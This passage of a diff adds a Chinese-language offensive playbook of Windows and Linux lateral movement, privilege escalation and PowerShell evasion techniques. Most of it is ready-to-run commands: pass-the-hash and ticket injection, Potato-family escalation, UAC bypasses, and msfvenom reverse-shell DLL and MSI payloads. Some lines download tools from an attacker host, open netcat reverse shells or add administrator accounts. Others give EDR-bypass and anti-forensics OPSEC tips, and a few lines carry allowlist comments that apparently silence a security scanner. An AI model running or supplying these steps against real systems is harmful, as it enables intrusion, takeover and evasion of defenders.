+ _通过Excel DCOM执行_
1093
+ ```
1094
+ $com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","target"))
1095
+ $com.DisplayAlerts = $false
1096
+ $com.DDEInitiate("cmd","/c calc.exe")
1097
+ ```
1098
+
1099
+ ---
1100
+
1101
+ ### SSH横向移动 `lateral-ssh`
1102
+ 通过SSH进行横向移动
1103
+ 子类:**SSH** · tags: `ssh` `lateral` `linux`
1104
+
1105
+ **前置条件:** SSH服务;有效凭证
1106
+
1107
+ **攻击链:**
1108
+
1109
+ **1. SSH连接** _[linux]_
1110
+ _基础SSH连接_
1111
+ ```
1112
+ ssh user@target
1113
+ ```
1114
+
1115
+ **2. SSH密钥认证** _[linux]_
1116
+ _使用私钥连接_
1117
+ ```
1118
+ ssh -i private_key user@target
1119
+ ```
1120
+
1121
+ **3. SSH跳板** _[linux]_
1122
+ _通过跳板机连接_
1123
+ ```
1124
+ ssh -J jump_host user@target
1125
+ ```
1126
+
1127
+ ---
1128
+
1129
+ ### RDP会话劫持 `rdp-hijack`
1130
+ 劫持已存在的RDP会话
1131
+ 子类:**RDP** · tags: `rdp` `hijack` `session`
1132
+
1133
+ **前置条件:** SYSTEM权限;存在RDP会话
1134
+
1135
+ **攻击链:**
1136
+
1137
+ **1. 列出会话** _[windows]_
1138
+ _列出所有用户会话_
1139
+ ```
1140
+ query user
1141
+ ```
1142
+
1143
+ **2. 劫持会话** _[windows]_
1144
+ _劫持指定会话_
1145
+ ```
1146
+ tscon SESSION_ID /dest:console
1147
+ ```
1148
+
1149
+ **3. 使用Mimikatz** _[windows]_
1150
+ _使用Mimikatz劫持_
1151
+ ```
1152
+ ts::sessions
1153
+ ts::remote /id:SESSION_ID
1154
+ ```
1155
+
1156
+ ---
1157
+
1158
+ ### Overpass-the-Hash `overpass-the-hash`
1159
+ 使用哈希获取Kerberos票据
1160
+ 子类:**PtH** · tags: `pth` `kerberos` `hash`
1161
+
1162
+ **前置条件:** 用户NTLM哈希;域环境
1163
+
1164
+ **攻击链:**
1165
+
1166
+ **1. Mimikatz** _[windows]_
1167
+ _使用哈希获取Kerberos票据_
1168
+ ```
1169
+ sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH /ptt
1170
+ ```
1171
+
1172
+ **2. Rubeus** _[windows]_
1173
+ _使用Rubeus获取票据_
1174
+ ```
1175
+ Rubeus.exe asktgt /user:Administrator /domain:domain.com /rc4:HASH /ptt
1176
+ ```
1177
+
1178
+ **3. Impacket** _[linux]_
1179
+ _获取Kerberos票据_
1180
+ ```
1181
+ getTGT.py domain.com/user -hashes :HASH
1182
+ ```
1183
+
1184
+ ---
1185
+
1186
+ ### Pass-the-Ticket `pass-the-ticket`
1187
+ 使用Kerberos票据进行横向移动
1188
+ 子类:**PtT** · tags: `ptt` `kerberos` `ticket`
1189
+
1190
+ **前置条件:** 有效Kerberos票据
1191
+
1192
+ **攻击链:**
1193
+
1194
+ **1. 导出票据** _[windows]_
1195
+ _从内存导出Kerberos票据_
1196
+ ```
1197
+ sekurlsa::tickets /export
1198
+ ```
1199
+
1200
+ **2. 注入票据** _[windows]_
1201
+ _注入票据到当前会话_
1202
+ ```
1203
+ kerberos::ptt ticket.kirbi
1204
+ ```
1205
+
1206
+ **3. Rubeus导入** _[windows]_
1207
+ _使用Rubeus注入票据_
1208
+ ```
1209
+ Rubeus.exe ptt /ticket:base64ticket
1210
+ ```
1211
+
1212
+ ---
1213
+
1214
+ ### SMBExec横向移动 `lateral-smbexec`
1215
+ 通过SMB执行命令
1216
+ 子类:**SMB** · tags: `smb` `lateral` `exec`
1217
+
1218
+ **前置条件:** SMB访问权限;管理员权限
1219
+
1220
+ **攻击链:**
1221
+
1222
+ **1. Impacket smbexec** _[linux]_
1223
+ _使用smbexec执行命令_
1224
+ ```
1225
+ smbexec.py domain/user:password@target
1226
+ ```
1227
+
1228
+ **2. 通过服务执行** _[windows]_
1229
+ _创建并启动服务_
1230
+ ```
1231
+ sc \\target create evilsvc binPath= "cmd /c whoami"
1232
+ sc \\target start evilsvc
1233
+ sc \\target delete evilsvc
1234
+ ```
1235
+
1236
+ ---
1237
+
1238
+ ### ATExec横向移动 `lateral-atexec`
1239
+ 通过计划任务执行命令
1240
+ 子类:**计划任务** · tags: `at` `scheduled` `lateral`
1241
+
1242
+ **前置条件:** 计划任务权限;管理员权限
1243
+
1244
+ **攻击链:**
1245
+
1246
+ **1. Impacket atexec** _[linux]_
1247
+ _使用atexec执行命令_
1248
+ ```
1249
+ atexec.py domain/user:password@target "whoami"
1250
+ ```
1251
+
1252
+ **2. schtasks** _[windows]_
1253
+ _创建远程计划任务_
1254
+ ```
1255
+ schtasks /create /s target /tn "evil" /tr "cmd /c whoami" /sc once /st 00:00
1256
+ ```
1257
+
1258
+ ---
1259
+
1260
+ ### WinRS横向移动 `lateral-winrs`
1261
+ 通过WinRS执行远程命令
1262
+ 子类:**WinRS** · tags: `winrs` `lateral` `windows`
1263
+
1264
+ **前置条件:** WinRM启用;有效凭证
1265
+
1266
+ **攻击链:**
1267
+
1268
+ **1. 执行命令** _[windows]_
1269
+ _远程执行命令_
1270
+ ```
1271
+ winrs -r:target -u:user -p:password "whoami"
1272
+ ```
1273
+
1274
+ **2. 获取Shell** _[windows]_
1275
+ _获取远程CMD_
1276
+ ```
1277
+ winrs -r:target -u:user -p:password "cmd"
1278
+ ```
1279
+
1280
+ ---
1281
+
1282
+ ### Excel DCOM横向移动 `lateral-dcom-excel`
1283
+ 利用Excel DCOM进行横向移动
1284
+ 子类:**DCOM** · tags: `dcom` `excel` `lateral`
1285
+
1286
+ **前置条件:** 目标安装Excel;DCOM权限
1287
+
1288
+ **攻击链:**
1289
+
1290
+ **1. Excel DCOM激活** _[windows]_
1291
+ _激活Excel DCOM对象_
1292
+ ```
1293
+ $com = [Type]::GetTypeFromProgID("Excel.Application","target.com")
1294
+ $obj = [System.Activator]::CreateInstance($com)
1295
+ $obj.Visible = $false
1296
+ ```
1297
+
1298
+ **2. 执行命令** _[windows]_
1299
+ _通过Excel执行命令_
1300
+ ```
1301
+ $obj.Workbooks.Add()
1302
+ $obj.Cells.Item(1,1) = "=CMD|/C calc.exe!A"
1303
+ $obj.Run("calc.exe")
1304
+ ```
1305
+
1306
+ **3. Impacket DCOM** _[linux]_
1307
+ _使用Impacket执行_
1308
+ ```
1309
+ python dcomexec.py -object Excel.Application domain/user:password@target.com
1310
+ ```
1311
+
1312
+ ---
1313
+
1314
+ ### MMC DCOM横向移动 `lateral-dcom-mmc`
1315
+ 利用MMC DCOM进行横向移动
1316
+ 子类:**DCOM** · tags: `dcom` `mmc` `lateral`
1317
+
1318
+ **前置条件:** 目标安装MMC;DCOM权限
1319
+
1320
+ **攻击链:**
1321
+
1322
+ **1. MMC20.Application** _[windows]_
1323
+ _使用MMC执行命令_
1324
+ ```
1325
+ $com = [Type]::GetTypeFromProgID("MMC20.Application","target.com")
1326
+ $obj = [System.Activator]::CreateInstance($com)
1327
+ $obj.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","7")
1328
+ ```
1329
+
1330
+ **2. Impacket执行** _[linux]_
1331
+ _使用Impacket_
1332
+ ```
1333
+ python dcomexec.py -object MMC20.Application domain/user:password@target.com
1334
+ ```
1335
+
1336
+ ---
1337
+
1338
+ ### RDP Relay攻击 `rdp-relay`
1339
+ RDP中继攻击技术
1340
+ 子类:**RDP** · tags: `rdp` `relay` `lateral`
1341
+
1342
+ **前置条件:** RDP服务可访问;存在NTLM认证
1343
+
1344
+ **攻击链:**
1345
+
1346
+ **1. 设置中继** _[linux]_
1347
+ _设置RDP中继服务器_
1348
+ ```
1349
+ 使用Impacket:
1350
+ python ntlmrelayx.py -tf targets.txt -smb2support
1351
+ 或使用rdp_relay.py
1352
+ ```
1353
+
1354
+ **2. 诱导连接**
1355
+ _诱导用户连接_
1356
+ ```
1357
+ 诱导用户连接到攻击者控制的RDP服务器:
1358
+ 1. 发送恶意RDP文件
1359
+ 2. 用户连接时中继到目标
1360
+ ```
1361
+
1362
+ **3. PetitPotam组合** _[linux]_
1363
+ _PetitPotam + RDP Relay_
1364
+ ```
1365
+ python petitpotam.py -d domain -u user -p pass attacker_ip target_ip
1366
+ 结合NTLM中继攻击ADCS
1367
+ ```
1368
+
1369
+ ---
1370
+
1371
+
1372
+ ## 权限提升
1373
+
1374
+ ### 令牌窃取与模拟 `privilege-token`
1375
+ 窃取和模拟Windows访问令牌
1376
+ 子类:**令牌操作** · tags: `token` `privilege` `impersonation` `windows`
1377
+
1378
+ **前置条件:** 已获得目标机器权限;SeImpersonatePrivilege权限;Windows系统
1379
+
1380
+ **攻击链:**
1381
+
1382
+ **1. 列出令牌** _[windows]_
1383
+ _列出系统中所有可用令牌_
1384
+ ```
1385
+ mimikatz.exe "privilege::debug" "token::list" "exit"
1386
+ ```
1387
+
1388
+ **2. 窃取令牌** _[windows]_
1389
+ _窃取指定用户的令牌_
1390
+ ```
1391
+ mimikatz.exe "privilege::debug" "token::elevate /domainuser:Administrator" "exit"
1392
+ ```
1393
+
1394
+ **3. JuicyPotato攻击** _[windows]_
1395
+ _JuicyPotato提权(需要SeImpersonatePrivilege)_
1396
+ ```
1397
+ JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
1398
+ ```
1399
+
1400
+ **4. PrintSpoofer** _[windows]_
1401
+ _PrintSpoofer提权_
1402
+ ```
1403
+ PrintSpoofer.exe -i -c cmd
1404
+ ```
1405
+
1406
+ **5. GodPotato** _[windows]_
1407
+ _GodPotato提权,支持更多Windows版本_
1408
+ ```
1409
+ GodPotato.exe -cmd "cmd /c whoami"
1410
+ ```
1411
+
1412
+ **EDR 绕过变体:**
1413
+
1414
+ **1. RoguePotato**
1415
+ _RoguePotato,绕过更多限制_
1416
+ ```
1417
+ RoguePotato.exe -r attacker_ip -l 9999 -e "cmd.exe"
1418
+ ```
1419
+
1420
+ **分析:** 令牌窃取成功后可以模拟高权限用户身份执行操作。
1421
+
1422
+ **OPSEC:** Potato系列工具利用DCOM机制;需要SeImpersonatePrivilege权限;不同Windows版本需要不同的CLSID
1423
+
1424
+ ---
1425
+
1426
+ ### Windows权限提升 `windows-privesc`
1427
+ Windows系统提权技术
1428
+ 子类:**Windows** · tags: `privesc` `windows` `privilege`
1429
+
1430
+ **前置条件:** 普通用户权限;系统漏洞
1431
+
1432
+ **攻击链:**
1433
+
1434
+ **1. 检查提权向量** _[windows]_
1435
+ _检查当前权限_
1436
+ ```
1437
+ whoami /priv
1438
+ whoami /groups
1439
+ ```
1440
+
1441
+ **2. 使用WinPEAS** _[windows]_
1442
+ _自动化提权检查_
1443
+ ```
1444
+ winpeas.exe
1445
+ ```
1446
+
1447
+ **3. 检查服务权限** _[windows]_
1448
+ _检查可写服务_
1449
+ ```
1450
+ accesschk.exe -uwcqv "Everyone" *
1451
+ ```
1452
+
1453
+ **4. 检查未引用服务路径** _[windows]_
1454
+ _查找未引用服务路径_
1455
+ ```
1456
+ wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
1457
+ ```
1458
+
1459
+ ---
1460
+
1461
+ ### Linux权限提升 `linux-privesc`
1462
+ Linux系统提权技术
1463
+ 子类:**Linux** · tags: `privesc` `linux` `privilege`
1464
+
1465
+ **前置条件:** 普通用户权限;系统漏洞
1466
+
1467
+ **攻击链:**
1468
+
1469
+ **1. 检查SUID** _[linux]_
1470
+ _查找SUID文件_
1471
+ ```
1472
+ find / -perm -4000 -type f 2>/dev/null
1473
+ ```
1474
+
1475
+ **2. 检查Sudo** _[linux]_
1476
+ _检查sudo权限_
1477
+ ```
1478
+ sudo -l
1479
+ ```
1480
+
1481
+ **3. 检查Cron** _[linux]_
1482
+ _检查计划任务_
1483
+ ```
1484
+ cat /etc/crontab
1485
+ ls -la /etc/cron*
1486
+ ```
1487
+
1488
+ **4. 使用LinPEAS** _[linux]_
1489
+ _自动化提权检查_
1490
+ ```
1491
+ linpeas.sh
1492
+ ```
1493
+
1494
+ ---
1495
+
1496
+ ### UAC绕过 `uac-bypass`
1497
+ 绕过Windows用户账户控制
1498
+ 子类:**UAC** · tags: `uac` `bypass` `windows`
1499
+
1500
+ **前置条件:** 管理员组成员;UAC启用
1501
+
1502
+ **攻击链:**
1503
+
1504
+ **1. Fodhelper** _[windows]_
1505
+ _通过fodhelper绕过UAC_
1506
+ ```
1507
+ reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe" /f
1508
+ reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /d "" /f
1509
+ fodhelper.exe
1510
+ ```
1511
+
1512
+ **2. Eventvwr** _[windows]_
1513
+ _通过eventvwr绕过UAC_
1514
+ ```
1515
+ reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe" /f
1516
+ eventvwr.exe
1517
+ ```
1518
+
1519
+ **3. 使用UACME** _[windows]_
1520
+ _使用UACME工具_
1521
+ ```
1522
+ Akagi64.exe 23 cmd.exe
1523
+ ```
1524
+
1525
+ ---
1526
+
1527
+ ### DLL劫持 `dll-hijack`
1528
+ 通过DLL劫持提权
1529
+ 子类:**DLL** · tags: `dll` `hijack` `privesc`
1530
+
1531
+ **前置条件:** 可写目录;DLL搜索顺序
1532
+
1533
+ **攻击链:**
1534
+
1535
+ **1. 查找DLL劫持** _[windows]_
1536
+ _监控进程加载的DLL_
1537
+ ```
1538
+ 使用Procmon监控DLL加载
1539
+ ```
1540
+
1541
+ **2. 创建恶意DLL** _[linux]_
1542
+ _生成恶意DLL_
1543
+ ```
1544
+ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll
1545
+ ```
1546
+
1547
+ **3. 放置DLL** _[windows]_
1548
+ _放置DLL到目标位置_
1549
+ ```
1550
+ copy evil.dll "C:\Program Files\VulnerableApp\missing.dll"
1551
+ ```
1552
+
1553
+ ---
1554
+
1555
+ ### 服务提权 `service-exploit`
1556
+ 通过服务漏洞提权
1557
+ 子类:**服务** · tags: `service` `privesc` `windows`
1558
+
1559
+ **前置条件:** 服务修改权限;可写服务路径
1560
+
1561
+ **攻击链:**
1562
+
1563
+ **1. 检查服务权限** _[windows]_
1564
+ _检查用户可修改的服务_
1565
+ ```
1566
+ accesschk.exe -uwcqv "Users" *
1567
+ ```
1568
+
1569
+ **2. 修改服务路径** _[windows]_
1570
+ _修改服务执行路径_
1571
+ ```
1572
+ sc config VulnerableService binPath= "cmd /c whoami"
1573
+ ```
1574
+
1575
+ **3. 重启服务** _[windows]_
1576
+ _重启服务执行命令_
1577
+ ```
1578
+ sc stop VulnerableService
1579
+ sc start VulnerableService
1580
+ ```
1581
+
1582
+ ---
1583
+
1584
+ ### AlwaysInstallElevated提权 `always-install`
1585
+ 利用AlwaysInstallElevated提权
1586
+ 子类:**MSI** · tags: `msi` `alwaysinstall` `privesc`
1587
+
1588
+ **前置条件:** AlwaysInstallElevated启用
1589
+
1590
+ **攻击链:**
1591
+
1592
+ **1. 检查设置** _[windows]_
1593
+ _检查是否启用_
1594
+ ```
1595
+ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
1596
+ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
1597
+ ```
1598
+
1599
+ **2. 创建MSI** _[linux]_
1600
+ _生成恶意MSI_
1601
+ ```
1602
+ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f msi > evil.msi
1603
+ ```
1604
+
1605
+ **3. 安装MSI** _[windows]_
1606
+ _安装MSI执行代码_
1607
+ ```
1608
+ msiexec /quiet /qn /i evil.msi
1609
+ ```
1610
+
1611
+ ---
1612
+
1613
+ ### Juicy Potato提权 `juicy-potato`
1614
+ 利用COM对象和SeImpersonatePrivilege提权
1615
+ 子类:**Potato** · tags: `juicy-potato` `com` `privesc`
1616
+
1617
+ **前置条件:** SeImpersonatePrivilege;Windows < 2019
1618
+
1619
+ **攻击链:**
1620
+
1621
+ **1. 检查权限** _[windows]_
1622
+ _检查SeImpersonatePrivilege_
1623
+ ```
1624
+ whoami /priv | findstr SeImpersonate
1625
+ ```
1626
+
1627
+ **2. 执行JuicyPotato** _[windows]_
1628
+ _使用JuicyPotato提权_
1629
+ ```
1630
+ JuicyPotato.exe -t * -p cmd.exe -l 1337
1631
+ ```
1632
+
1633
+ ---
1634
+
1635
+ ### PrintSpoofer提权 `printspoofer`
1636
+ 利用打印机服务提权
1637
+ 子类:**PrintSpoofer** · tags: `printspoofer` `privesc` `windows`
1638
+
1639
+ **前置条件:** SeImpersonatePrivilege
1640
+
1641
+ **攻击链:**
1642
+
1643
+ **1. 执行PrintSpoofer** _[windows]_
1644
+ _使用PrintSpoofer提权_
1645
+ ```
1646
+ PrintSpoofer.exe -i -c cmd
1647
+ ```
1648
+
1649
+ **2. 指定命令** _[windows]_
1650
+ _执行指定命令_
1651
+ ```
1652
+ PrintSpoofer.exe -c "whoami > C:\out.txt"
1653
+ ```
1654
+
1655
+ ---
1656
+
1657
+ ### GodPotato提权 `godpotato`
1658
+ GodPotato提权工具
1659
+ 子类:**GodPotato** · tags: `godpotato` `privesc` `windows`
1660
+
1661
+ **前置条件:** SeImpersonatePrivilege
1662
+
1663
+ **攻击链:**
1664
+
1665
+ **1. 执行GodPotato** _[windows]_
1666
+ _使用GodPotato提权_
1667
+ ```
1668
+ GodPotato.exe -cmd "cmd /c whoami"
1669
+ ```
1670
+
1671
+ **2. 反向Shell** _[windows]_
1672
+ _执行反向Shell_
1673
+ ```
1674
+ GodPotato.exe -cmd "cmd /c powershell -e BASE64_CMD"
1675
+ ```
1676
+
1677
+ ---
1678
+
1679
+ ### SUID提权 `suid-exploit`
1680
+ 利用SUID文件提权
1681
+ 子类:**SUID** · tags: `suid` `privesc` `linux`
1682
+
1683
+ **前置条件:** 存在SUID文件;可利用程序
1684
+
1685
+ **攻击链:**
1686
+
1687
+ **1. 查找SUID** _[linux]_
1688
+ _查找所有SUID文件_
1689
+ ```
1690
+ find / -perm -4000 -type f 2>/dev/null
1691
+ ```
1692
+
1693
+ **2. 常见可利用程序** _[linux]_
1694
+ _常见SUID利用方法_
1695
+ ```
1696
+ nmap --interactive
1697
+ vim -c ':!/bin/sh'
1698
+ find / -exec /bin/sh \;
1699
+ cp /bin/sh /tmp/sh; chmod +s /tmp/sh
1700
+ ```
1701
+
1702
+ **3. GTFOBins** _[linux]_
1703
+ _查找程序利用方法_
1704
+ ```
1705
+ 参考GTFOBins网站查找可利用程序
1706
+ ```
1707
+
1708
+ ---
1709
+
1710
+ ### Sudo提权 `sudo-exploit`
1711
+ 利用Sudo配置提权
1712
+ 子类:**Sudo** · tags: `sudo` `privesc` `linux`
1713
+
1714
+ **前置条件:** Sudo权限配置不当
1715
+
1716
+ **攻击链:**
1717
+
1718
+ **1. 检查Sudo权限** _[linux]_
1719
+ _列出可执行的sudo命令_
1720
+ ```
1721
+ sudo -l
1722
+ ```
1723
+
1724
+ **2. 常见利用** _[linux]_
1725
+ _常见sudo利用方法_
1726
+ ```
1727
+ sudo vim -c ':!/bin/sh'
1728
+ sudo find / -exec /bin/sh \;
1729
+ sudo awk 'BEGIN {system("/bin/sh")}'
1730
+ ```
1731
+
1732
+ **3. CVE-2021-3156** _[linux]_
1733
+ _Baron Samedit漏洞_
1734
+ ```
1735
+ 利用sudo堆溢出漏洞
1736
+ ```
1737
+
1738
+ ---
1739
+
1740
+ ### Cron提权 `cron-exploit`
1741
+ 利用Cron任务提权
1742
+ 子类:**Cron** · tags: `cron` `privesc` `linux`
1743
+
1744
+ **前置条件:** 可写Cron脚本;通配符注入
1745
+
1746
+ **攻击链:**
1747
+
1748
+ **1. 检查Cron任务** _[linux]_
1749
+ _查看计划任务_
1750
+ ```
1751
+ cat /etc/crontab
1752
+ ls -la /etc/cron*
1753
+ ```
1754
+
1755
+ **2. 检查脚本权限** _[linux]_
1756
+ _检查Cron脚本权限_
1757
+ ```
1758
+ ls -la /path/to/cron/script.sh
1759
+ ```
1760
+
1761
+ **3. 通配符注入** _[linux]_
1762
+ _利用tar通配符注入_
1763
+ ```
1764
+ 在Cron目录创建: --checkpoint=1
1765
+ --checkpoint-action=exec=sh shell.sh
1766
+ ```
1767
+
1768
+ ---
1769
+
1770
+ ### 内核漏洞提权 `kernel-exploit`
1771
+ 利用内核漏洞提权
1772
+ 子类:**内核** · tags: `kernel` `privesc` `exploit`
1773
+
1774
+ **前置条件:** 存在内核漏洞;可编译/执行exploit
1775
+
1776
+ **攻击链:**
1777
+
1778
+ **1. 检查内核版本** _[linux]_
1779
+ _查看内核版本信息_
1780
+ ```
1781
+ uname -a
1782
+ cat /proc/version
1783
+ ```
1784
+
1785
+ **2. 搜索exploit** _[linux]_
1786
+ _搜索内核exploit_
1787
+ ```
1788
+ searchsploit kernel VERSION
1789
+ ```
1790
+
1791
+ **3. 常见内核漏洞** _[linux]_
1792
+ _常见内核提权漏洞_
1793
+ ```
1794
+ DirtyCow (CVE-2016-5195)
1795
+ DirtyPipe (CVE-2022-0847)
1796
+ PwnKit (CVE-2021-4034)
1797
+ ```
1798
+
1799
+ ---
1800
+
1801
+ ### Potato系列提权攻击 `potato-attack`
1802
+ 利用Windows令牌模拟和NTLM中继机制从服务账户(SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege)提权到SYSTEM
1803
+ 子类:**Potato提权** · tags: `privilege-escalation` `potato` `token-impersonation` `ntlm-relay` `windows`
1804
+
1805
+ **前置条件:** 拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限;常见于IIS AppPool、SQL Server、各类服务账户
1806
+
1807
+ **攻击链:**
1808
+
1809
+ **1. 检查当前权限** _[windows]_
1810
+ _首先确认当前用户是否拥有令牌模拟权限。IIS应用池账户、SQL Server服务账户、Windows服务账户通常默认拥有该权限_
1811
+ ```
1812
+ # 检查是否拥有Impersonate权限
1813
+ whoami /priv
1814
+
1815
+ # 重点关注以下权限:
1816
+ # SeImpersonatePrivilege - 模拟客户端令牌
1817
+ # SeAssignPrimaryTokenPrivilege - 替换进程级令牌
1818
+
1819
+ # 确认当前用户身份
1820
+ whoami /all
1821
+ echo %USERNAME%
1822
+ ```
1823
+
1824
+ **2. JuicyPotato (Windows Server 2016/2019)** _[windows]_
1825
+ _JuicyPotato利用COM服务器和NTLM认证实现令牌模拟。通过创建本地COM服务器,欺骗SYSTEM账户向其认证,然后模拟该令牌执行命令_
1826
+ ```
1827
+ # 下载JuicyPotato
1828
+ certutil -urlcache -split -f http://attacker/JuicyPotato.exe C:\temp\jp.exe
1829
+
1830
+ # 使用JuicyPotato提权执行命令
1831
+ C:\temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\proof.txt" -t *
1832
+
1833
+ # 使用特定CLSID (不同系统需要不同CLSID)
1834
+ C:\temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user testadmin Test@123 /add && net localgroup administrators testadmin /add" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
1835
+
1836
+ # 反弹Shell
1837
+ C:\temp\jp.exe -l 1337 -p C:\temp\nc.exe -a "-e cmd.exe attacker_ip 4444" -t *
1838
+ ```
1839
+
1840
+ **3. PrintSpoofer (Windows 10/Server 2019+)** _[windows]_
1841
+ _PrintSpoofer利用Windows打印服务的命名管道模拟功能。它创建一个命名管道并欺骗Print Spooler服务连接,从而获取SYSTEM令牌。适用于JuicyPotato无法使用的新版Windows_
1842
+ ```
1843
+ # PrintSpoofer - 利用打印服务命名管道
1844
+ PrintSpoofer.exe -i -c cmd
1845
+
1846
+ # 直接执行命令
1847
+ PrintSpoofer.exe -c "cmd /c whoami > C:\temp\proof.txt"
1848
+
1849
+ # 反弹Shell
1850
+ PrintSpoofer.exe -c "C:\temp\nc.exe attacker_ip 4444 -e cmd.exe"
1851
+
1852
+ # 以SYSTEM身份启动PowerShell
1853
+ PrintSpoofer.exe -i -c powershell.exe
1854
+ ```
1855
+
1856
+ **4. Sweet Potato (多技术集成)** _[windows]_
1857
+ _SweetPotato集成了PrintSpoofer、EfsPotato等多种技术,自动选择适合目标系统的攻击方式_
1858
+ ```
1859
+ # SweetPotato - 集成多种Potato技术
1860
+ SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami"
1861
+
1862
+ # 指定攻击方式
1863
+ SweetPotato.exe -e EfsRpc -p cmd.exe -a "/c net user testadmin Test@123 /add"
1864
+ ```
1865
+
1866
+ **5. GodPotato (全版本通杀)** _[windows]_
1867
+ _GodPotato利用DCOM OXID解析器的漏洞,无需指定CLSID,兼容几乎所有Windows版本。是目前最通用的Potato变种_
1868
+ ```
1869
+ # GodPotato - 适用于Windows Server 2012-2022所有版本
1870
+ GodPotato.exe -cmd "cmd /c whoami"
1871
+
1872
+ # 执行反弹Shell
1873
+ GodPotato.exe -cmd "cmd /c C:\temp\nc.exe -e cmd.exe attacker_ip 4444"
1874
+
1875
+ # 添加管理员
1876
+ GodPotato.exe -cmd "net user testadmin Test@123 /add && net localgroup administrators testadmin /add"
1877
+
1878
+ # 执行PowerShell
1879
+ GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')" # security-allowlist: SEC005
1880
+ ```
1881
+
1882
+ **6. RoguePotato (远程场景)** _[windows]_
1883
+ _RoguePotato是JuicyPotato的改进版,通过远程OXID解析器实现NTLM认证中继。需要一台攻击机辅助完成中继_
1884
+ ```
1885
+ # 攻击机 - 启动socat重定向
1886
+ socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999
1887
+
1888
+ # 目标机 - 执行RoguePotato
1889
+ RoguePotato.exe -r attacker_ip -e "cmd /c whoami > C:\temp\proof.txt" -l 9999
1890
+
1891
+ # 或使用netcat反弹
1892
+ RoguePotato.exe -r attacker_ip -e "C:\temp\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999
1893
+ ```
1894
+
1895
+ **7. Potato选型决策流程** _[windows]_
1896
+ _根据目标系统版本选择合适的Potato变种工具_
1897
+ ```
1898
+ # === 决策流程 ===
1899
+ # 1. whoami /priv 确认SeImpersonatePrivilege
1900
+ # 2. systeminfo 确认系统版本
1901
+ #
1902
+ # Windows Server 2012-2016 => JuicyPotato
1903
+ # Windows Server 2019 (1809之前) => JuicyPotato (需正确CLSID)
1904
+ # Windows 10/Server 2019+ => PrintSpoofer 或 GodPotato
1905
+ # Windows Server 2022 => GodPotato
1906
+ # 所有版本 => SweetPotato (自动选择)
1907
+ # 需要远程中继 => RoguePotato
1908
+ #
1909
+ # 常用CLSID查询: https://ohpe.it/juicy-potato/CLSID/
1910
+ ```
1911
+
1912
+ **EDR 绕过变体:**
1913
+
1914
+ **1. 绕过EDR检测的Potato技巧** _[windows]_
1915
+ _通过反射加载、重命名、使用较新工具等方式绕过EDR对Potato工具的检测_
1916
+ ```
1917
+ # 1. 重命名二进制文件
1918
+ ren GodPotato.exe svcutil.exe
1919
+
1920
+ # 2. 使用.NET反射加载(无文件落地)
1921
+ powershell -ep bypass -c "$bytes=[System.IO.File]::ReadAllBytes('C:\temp\gp.exe');[System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,@(,@('-cmd','cmd /c whoami')))";
1922
+
1923
+ # 3. 使用SharpToken替代(较新工具,签名较少)
1924
+ SharpToken.exe execute SYSTEM "cmd /c whoami"
1925
+ ```
1926
+
1927
+ **分析:** Potato系列攻击利用Windows的令牌模拟机制——拥有SeImpersonatePrivilege的服务账户可以模拟向其认证的任何用户令牌。攻击者通过欺骗SYSTEM账户向本地COM服务器/命名管道认证,获取SYSTEM令牌后创建高权限进程。这是Web服务器(IIS)和数据库(SQL Server)提权最常见的方式之一。
1928
+
1929
+ **OPSEC:** 1) Potato工具的二进制文件特征明显,建议内存加载 2) 创建的命名管道名称可能被监控 3) 成功后立即清理工具和临时文件 4) 避免使用net user等敏感命令,改用更隐蔽的后渗透方式
1930
+
1931
+ ---
1932
+
1933
+
1934
+ ## 免杀与规避
1935
+
1936
+ ### PowerShell免杀 `evasion-powershell`
1937
+ PowerShell脚本免杀技术
1938
+ 子类:**PowerShell** · tags: `powershell` `evasion` `obfuscation`
1939
+
1940
+ **前置条件:** 目标机器访问权限;Windows系统
1941
+
1942
+ **攻击链:**
1943
+
1944
+ **1. 编码执行** _[windows]_
1945
+ _Base64编码执行_
1946
+ ```
1947
+ powershell -enc BASE64_ENCODED_COMMAND
1948
+ ```
1949
+
1950
+ **2. 远程加载** _[windows]_
1951
+ _远程加载脚本_
1952
+ ```
1953
+ IEX (New-Object Net.WebClient).DownloadString("http://attacker/script.ps1") # security-allowlist: SEC005
1954
+ ```
1955
+
1956
+ **3. 混淆变量名** _[windows]_
1957
+ _变量名混淆_
1958
+ ```
1959
+ 1='IEX'; 2='(New-Object Net.WebClient).DownloadString'; Invoke-Expression "1 2" # security-allowlist: SEC004
1960
+ ```
1961
+
1962
+ **4. 无文件执行** _[windows]_
1963
+ _隐藏窗口无配置文件执行_
1964
+ ```
1965
+ powershell -w hidden -nop -c "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker/script.ps1\")" # security-allowlist: SEC005
1966
+ ```
1967
+
1968
+ **EDR 绕过变体:**
1969
+
1970
+ **1. 降级执行**
1971
+ _使用PowerShell v2绕过日志_
1972
+ ```
1973
+ powershell -version 2 -c "command"
1974
+ ```
1975
+
1976
+ **分析:** PowerShell免杀可以绕过杀毒软件检测执行恶意脚本。
1977
+
1978
